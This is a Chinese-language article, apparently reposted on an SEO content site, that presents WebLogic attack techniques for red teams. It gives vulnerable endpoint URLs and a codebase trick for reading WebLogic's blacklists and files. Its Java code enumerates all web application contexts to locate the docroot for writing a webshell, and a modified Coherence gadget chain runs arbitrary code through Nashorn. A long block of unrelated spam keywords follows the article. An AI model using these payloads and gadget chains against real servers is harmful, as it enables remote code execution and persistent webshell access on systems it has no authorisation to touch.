千家信息网

weblogic攻击手法有哪些

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,weblogic攻击手法有哪些,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。简介weblogic服务器的特点为架构庞大复杂,蓝队一般很难
千家信息网最后更新 2026年10月31日weblogic攻击手法有哪些

weblogic攻击手法有哪些,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

简介

weblogic服务器的特点为架构庞大复杂,蓝队一般很难防御,且多部署于外网。而且weblogic的攻击成本比较低,只要存在漏洞,一般可以直接获取目标服务器的root权限。在攻防演习中被各大攻击队,防守方重点关注。

当然,目前网上公开的各种exp程序,当然也包括我自己的工具,或多或少都有点问题。于是近期在朋友的要求下,整理了部分攻击方法以及"完美"利用。红队可以用来完善自己的工具,蓝队可以用来写溯源报告。

一、探测weblogic是否存在漏洞

目前网上公开的资料中,没有一种比较好的方法去判断weblogic是否存在漏洞。通常各类工具做法是用exp打一遍,如果成功了则自然存在漏洞,如果失败了则不存在漏洞。再或者,通过dnslog的方式去探测。这两种方法受限于各种因素,导致漏报误报的比例很高。还有可能触发蜜罐,waf等等安全设备的规则。

当然在这里我介绍一种更简便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名单 。

codebase: 简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。

那我们是不是可以发散一下思维,如果这个类是weblogic的黑名单类呢??而且weblogic的codebase利用http协议去传输类。

利用方法如下,使用你的浏览器,确认好对方是weblogic服务器后,url如下

T3反序列化的黑名单http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder 黑名单http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 codebase分析

在weblogic.rjvm.InternalWebAppListener#contextInitialized处代码,注册处理codebase的代码,也就是请求路径为classes

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

下面我们来看一下weblogic.servlet.ClasspathServlet的处理代码,很简单,就是读取类名然后写入到http响应中。

当然,这里是不是也存在任意文件读取漏洞呢?答案是的,只不过有一个黑名单,禁止某些后缀的文件被读取。黑名单列表如下

理论上讲,你也可以通过CODEBASE去读取用户的类下载到本地做代码分析。前提是你需要知道用户的类名是什么。当然,也有黑名单,黑名单如下

二、weblogic xmldecoder反序列化漏洞

漏洞不做过多介绍,在这里不谈该漏洞的成因原理以及分析。

漏洞探测的url

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

ParticipantPortType11

RegistrationRequesterPortType11

该漏洞利用的难点我认为有如下几个方面

1.网上只有回显代码,没有利用代码,例如内存马

2.写马的话,可能会遇到路径的问题。wenlogic的路径为随机,目前网上公开的解决办法是爆破。

3.怎么寻找所有的Context?

下面我们来一一解决,以weblogic 10.x的exp为例

xmldecoder的xml payload做了以下的工作

1.调用weblogic.utils.Hex.fromHexString函数,将hex编码的class文件转换为二进制格式

2.调用org.mozilla.classfile.DefiningClassLoader的defineClass方法,将上面的class文件加载到虚拟机中

3.调用newInstance方法生成上面被添加至JVM的类的实例

4.调用实例的方法以完成攻击

payload其实你知道稍微看一下,就知道xmldecoder的写法,这里就不再赘述

上面所有的问题,其实都可以归结为一个问题,那就是怎么寻找weblogic下,所有web应用的上下文?

在这里我公开一个方法,该方法在weblogic 10/12下经过测试,且不受协议影响,也就是说,你只要能在weblogic里执行代码,我就可以获取weblogic所有的webcontext。 代码如下

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;

2.1 获取随机路径

利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置,然后写入webshell。

我的代码如下

List contexts = findAllContext();
Iterator i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());

截图如下

2.2 weblogic 12.x payload

weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。

从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。

注意,不支持1.5以及1.5以下的JVM

在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意

只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图

在nashorn中,默认最后一个变量作为调用本次js的返回值

三、weblogic T3反序列化

在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探测的话,参考前面的黑名单下载方式

当然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。

但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。

而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下

image-20210329124530132

当然,corherence gadget处需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

看完上述内容,你们掌握weblogic攻击手法有哪些的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

代码 方法 漏洞 黑名单 黑名 序列 攻击 工具 方式 问题 就是 路径 对象 文件 探测 实例 服务器 类型 面的 分析 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 腾讯阿里互联网科技 互联网医疗科技 万易互联网科技有限公司 丰台科技园 互联网 互联网金融 科技创新 互联网金融和金融科技 新华互联网科技校企合作 滨湖区互联网智能科技产品供应 互联网科技创新企业排名 上海电发互联网科技有限公司 昭通云南众福互联网科技有限公司 来此购互联网科技有限公司 消费医药和互联网科技 用友工业互联网科技发展 互联网科技如何创业 江苏互联网智能科技软件 卡尔迅互联网科技有限公司 互联网科技包装股 互联网领先科技活动 山东蛋芒互联网科技有限公司 互联网金融与金融科技 科技与互联网的利与弊 北京三清互联网科技 中国的互联网科技企业的崛起 千方科技属于互联网企业吗 湖南一路畅行互联网科技 搜狐科技互联网 深圳市优智互联网科技有限公司 互联网金融科技名词解释 小米互联网科技园入驻
0